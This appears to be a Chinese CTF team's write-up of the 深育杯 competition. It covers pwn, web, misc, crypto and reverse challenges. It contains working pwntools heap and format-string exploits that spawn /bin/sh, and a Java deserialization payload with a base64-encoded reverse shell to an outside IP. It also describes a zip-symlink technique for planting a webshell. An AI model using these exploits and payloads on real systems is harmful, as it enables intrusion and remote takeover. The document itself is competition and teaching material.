深育杯 WriteUp

語言: CN / TW / HK

點擊藍字

關注我們

聲明

本文作者:CTF戰隊

本文字數:4170

閲讀時長:20~40分鐘

附件/鏈接 :點擊查看原文下載

本文屬於【狼組安全社區】原創獎勵計劃,未經許可禁止轉載

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,狼組安全團隊以及文章作者不為此承擔任何責任。

狼組安全團隊有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經狼組安全團隊允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

我們團隊CTF戰隊最終排名第三

Pwn

FindFlag

from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('192.168.41.71', 2001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


# gdb.attach(p, 'brva 0x13BB\nc')
pd = '%19$plll%17$paaa'
p.sendlineafter('name? ', pd)
p.recvuntil('meet you, ')
elf.address = int(p.recvuntil('lll')[:-3], 16) - 0x146f
canary = int(p.recvuntil('aaa')[:-3], 16)
success('canary = ' + hex(canary))
pd = p64(canary) * 0x9
pd += p64(elf.address + 0x1231)
p.sendlineafter('g else? ', pd)
p.interactive()

writebook

libc2.27 offbynul

from pwn import *


context.log_level = 'debug'


binary = './writebook'
local = 1
if local:
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('ip', port)
libc = ELF('libc.so.6')
elf = ELF(binary)


def add(size):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', '1')
p.sendlineafter('size: ', str(size))


def edit(index, content):
p.sendlineafter('> ', '2')
p.sendlineafter('Page: ', str(index))
p.sendlineafter('Content: ', content)


def show(index):
p.sendlineafter('> ', '3')
p.sendlineafter('Page: ', str(index))


def free(index):
p.sendlineafter('> ', '4')
p.sendlineafter('Page: ', str(index))


# gdb.attach(p)


for i in range(7): #0-6
add(0xf0)


add(0xf0) #7
add(0x88) #8
add(0xf0) #9
add(0x88) #10


for i in range(7):
free(i)
free(8)
free(7)
add(0x88)
edit(0, 'a'*0x80 + p64(0x190)) #0->8
free(9)
for i in range(7): #1-7
add(0xf0)
add(0xf0) #8
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - libc.sym['__malloc_hook'] - 0x70
success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(0x88) #9
free(9)
edit(0, p64(free_hook))
add(0x88) #9
add(0x88) #11
edit(11, p64(system))
edit(0, '/bin/sh\x00')
free(0)
p.interactive()

CreateCode

堆溢出

exp:

from pwn import  *


context(arch='amd64',endian='el',os='linux')
# context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
debug = 2
if debug == 1:
p = process("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
p = remote("192.168.41.241",2007)
libc = ELF("./libc.so.6",checksec=False)
call_libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
elf = ELF("./chall",checksec=False)


def cmd(cho):
sla("> ",str(cho))


def add(content):
cmd(1)
sleep(0.02)
sa("content: ",content)


def show(idx):
cmd(2)
sla("id: ",str(idx))


def free(idx):
cmd(3)
sla("id: ",str(idx))


def exit():
cmd(4)


add('a\n')
add('a\n')
add('a\n')
add('a\n')
add('a\n')


free(0)
add('a'*0x320 + p64(0) + p64(0x661) + '/bin/sh\x00')
free(0)
add('aaaaaaaa')
show(0)
p.recvuntil("\x00\x00")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) -0x1ebbe0
one = [0xe6c7e,0xe6c81,0xe6c84]
info("libc.address = " + hex(libc.address))
add('a\n')
free(1)
free(0)
free(2)
add('a'*0x320 + p64(0) + p64(0x331) + p64(libc.sym['__free_hook']-0x10))


add('a\n')
free(1)


add('a'*0x320 + p64(0) + p64(0x331) + "/bin/sh\x00"*4)
add('a'*0x10 + p64(libc.sym['system']))
free(2)


ti()

Misc

簽到題

掃描二維碼得flag。

Login

http://192.168.41.71:3001/example.zip 下載壓縮包,zip偽加密,明文攻擊解出password.zip

CRC爆破。

welc0me_sangforctf

vi -r .password.swp 恢復文件

5f4dcc3b5aa765d61d8327deb882cf99

登錄得到

Disk

下載壓縮包,得到vera文件,文件名異常

根據文件名在鍵盤上畫出圖形,可能是密碼

小寫pvd作為密碼掛載veracrypt

解壓一層後有 Basic data partition.img 和 Microsoft reserved partition.img 兩個文件,為 bitlocker 加密

bitlocker2john 跑出hash

hashcat得到密碼: abcd1234

回收站找到txt文件

發現了壓縮包,提取出來看看,裏面是 rdp 緩存

https://github.com/ANSSI-FR/bmc-tools

像拼圖

在其中找到 flag 縮略圖,和文件名

cmRwY2FjaGUtYm1j ,base64 解碼後得到 flag

SangFor{rdpcache-bmc}

WEB

WEBLOG

下載 jar 包

發現該路由存在反序列化

打的 no CC 的鏈,payload (版本號要對應jar包中的pom.xml)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CommonsBeanutils1Shiro {
public static void main(String[] args) throws Exception {
String base64encodedString = Base64.getEncoder().encodeToString(getpayload());
System.out.println(base64encodedString);
}


public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public static byte[] getpayload() throws Exception {
final Object obj = Gadgets.createTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45Ny4xMTQuNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}");
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue queue = new PriorityQueue(2,comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");


setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});


// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();


return barr.toByteArray();
}
}

發送數據即可 getshll,POC 中執行的命令需要進行替換

遠程接收shell

ZIPZIP

根據題目描述猜測可能存在 zip 解壓的操作,於是可以使用軟連接寫後門

首先生成一個指向 /var/www/html 的軟連接文件

ln -s /var/www/html  test

對該文件進行zip壓縮

zip --symlinks test.zip ./*

上傳之後,就會自動解壓出test鏈接,並指向服務器的 /var/www/html

這樣再解壓 test 目錄下的文件時就會被解壓到 /var/www/html 目錄

然後創建一個test目錄,並在文件夾中放入寫好的木馬

對 test 目錄進行壓縮

先上傳 test.zip 再上傳 test1.zip 即可getshell

在 /tmp/flag.txt 中發現 flag

Crypto

GeGe

NTRU格密碼, https://xz.aliyun.com/t/7163

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import gmpy2


def GaussLatticeReduction(v1, v2):
while True:
if v2.norm() < v1.norm():
v1, v2 = v2, v1
m = round( v1*v2 / v1.norm()^2 )
if m == 0:
return (v1, v2)
v2 = v2 - m * v1
h = 3967900409518491437091166715380802161532841159072519563471354336400750930009970177101953304861954502146570721506995224520631716261108071684882841102381144720177664434981608584075201907891964214604246219441325377602163957172642582158192223452845671007585556951922415200415538060247456213608112360361636912703380306386439846269645696750929811607783895294670639202472465920599542568227657152922843001792754116981992696203788298740550812661583820191877594185184758074771316815650833195023325150218113883046328740408517222933980589974912467363367727038230703152354450353199257411964288022409128890352346036423792759938468964462267528727695183747947515480432786669353434638860350849296620606820894819933050645748656981993408399675189724419997805599649975500093890450393421897803267909569938850674774386012819838940544502656293639875120854745249463561940935651895728242282430164407574626178693654713011323376912585958110558532953333
p = 4407206782832544188667944201727813617189883940490534227436068867901196311508151544316989531306678865408607390128649278629254128753967046691736522108356971272311308455619879297358588727267184200777923695048248757115057072357087881336680504033511958280710547178971268670442650871890760916203109226852889599638484429889898210426540567794020013920566784973281560628666918122674783539653720295629054898529900882965691587718212291373734218555167591690910246380516121338139063419587750344469214004539520017140593342859857394308703001939640899189432836134392830208318268131639318655382175643272565186884496188876341460968563623529229713790076050095498053846983536874648190033735162809614805624209827336432223553914651838063614534617044557310972056169869738746432924853953258079006936103497626054364115282007843847693813896856977882285910369660539092462408790126385881581833165309032853389777355480169212478669139225609058338565029211
c = 4052491539376955553220568757544621659293304958837707160681090710624505862889512520190589879197831394720145909992216099963759496125523078969015706069688556356682711471641851937470179182960755800968587551608595725470945584970094036299764623894583379909329996337429067328575804567222496890803396234507278490116354758303807070775249711087938549824010697869930856205244006491475201993228121418890520174179969294094963249013786611889790711801269524919695653453576043288934196952437164829830756439734795068980207758771052483500272264363028346668629397497794792110170275173209377114274164087320163340547019935562316429227119346802124620682293405375798340275679831750482339301440428527223801872439611461272229275824994734898078664180541096159146759378804836952981089673755590353588900522455968721971944276318473421193690310601002295637581030417570868955379815661133148339565983621730401675643094909263098778572081973142223744746526672
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
# shortest_vector = GaussLatticeReduction(v1, v2)[0]
f, g = shortest_vector
print(f)
print("----------------------------------------------------")
print(g)
f = abs(f)
g = abs(g)
# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f * f, g) % g
print(long_to_bytes(int(m)).decode("iso-8859-1"))

Reverse

Lithops

32位exe文件,通過調試,他的主要的加密流程在sub_392970函數中,前面的那些函數只是起賦值的作用,賦值到v3中

然後

然後動態調試到了這裏,裏面的一些 off引用的參數是無用的,最後比較的地方在off_3C3C60裏,比較的值存在了v6裏,提取出來

0xE4, 0xB8, 0x8D, 0xE5, 0x81, 0x9A, 0xE4, 0xBC, 0x9F, 0xE5, 
  0xA4, 0xA7, 0xE6, 0x97, 0xB6, 0xE4, 0xBB, 0xA3, 0xE7, 0x9A, 
  0x84, 0xE6, 0x97, 0x81, 0xE8, 0xA7, 0x82, 0xE8, 0x80, 0x85

然後通過調試,發現他的主要的流程是編碼轉UTF-8,直接在線轉換

http://tool.haooyou.com/code?group=convert&type=hexToStr&charset=UTF-8

不做偉大時代的旁觀者

Press

文件主要流程是打開flag文件,然後進行運算,輸出到out文件,out文件的內容是

0x60, 0xE1, 0x2F, 0x05, 0x79, 0x80, 0x5E, 0xE1, 0xC5, 0x57, 
  0x8B, 0xCC, 0x5C, 0x9A, 0x67, 0x26, 0x1E, 0x19, 0xAF, 0x93, 
  0x3F, 0x09, 0xE2, 0x97, 0x99, 0x7B, 0x86, 0xC1, 0x25, 0x87, 
  0xD6, 0x0C, 0xDD, 0xCF, 0x2A, 0xF5, 0x65, 0x0E, 0x73, 0x59, 
  0x1D, 0x5F, 0xA4, 0xF4, 0x65, 0x68, 0xD1, 0x3D, 0xD2, 0x98, 
  0x5D, 0xFE, 0x5B, 0xEF, 0x5B, 0xCC

dword_6020A0查看交叉引用,得到了密文

++++++++++[->++++++++++++++++<],[->-<]>>[-]+++++<*++.<

直接開始調試,文件中的內容會存到byte_6026A0裏

s就是那個+-的內容,通過調試,他的核心函數就是這個

sub_40094B函數是最主要的函數,他在循環到.的時候,會把生成的byte_6021A0的值附給最後的數組

在遇到,的時候,把flag文件的值附給byte_6021A0數組,然後開始循環

這個類似於第五空間的brainfuck,把brainfuck對應的操作流程翻譯過來,就可以了

然後它加入了*運算,[ 和 ] 是兩個for循環,第一個for循環代表的意思是加160,它加了10次,代表的是每次加16,後面對應的就是減去我們輸入的a[i],後面再乘5和加2,所以知道這些之後可以開始爆破

flag=[0x60, 0xE1, 0x2F, 0x05, 0x79, 0x80, 0x5E, 0xE1, 0xC5, 0x57,
0x8B, 0xCC, 0x5C, 0x9A, 0x67, 0x26, 0x1E, 0x19, 0xAF, 0x93,
0x3F, 0x09, 0xE2, 0x97, 0x99, 0x7B, 0x86, 0xC1, 0x25, 0x87,
0xD6, 0x0C, 0xDD, 0xCF, 0x2A, 0xF5, 0x65, 0x0E, 0x73, 0x59,
0x1D, 0x5F, 0xA4, 0xF4, 0x65, 0x68, 0xD1, 0x3D, 0xD2, 0x98,
0x5D, 0xFE, 0x5B, 0xEF, 0x5B, 0xCC]


a=""
b=0
for i in range(0x38):
b=b+0xa0
b=b&0xff
for j in range(0,128):
c=((b-j)*5+2)&0xff
if c==flag[i]:
a+=chr(j)
b=c
break
print(a)
#ZmxhZ3tkZTBiZDY3ZS02ZDI1LTg3ZDctMTg3Ni1hZDEzMWE2MTY1Y2J9

然後再base64解密得到

flag{de0bd67e-6d25-87d7-1876-ad131a6165cb}

CTF戰隊長期招人~ 

[email protected]

ctf.wgpsec.org

WgpSec CTF戰隊

衝就完事了

掃描關注公眾號回覆加羣

和師傅們一起討論研究~

WgpSec狼組安全團隊

微信號:wgpsec

Twitter:@wgpsec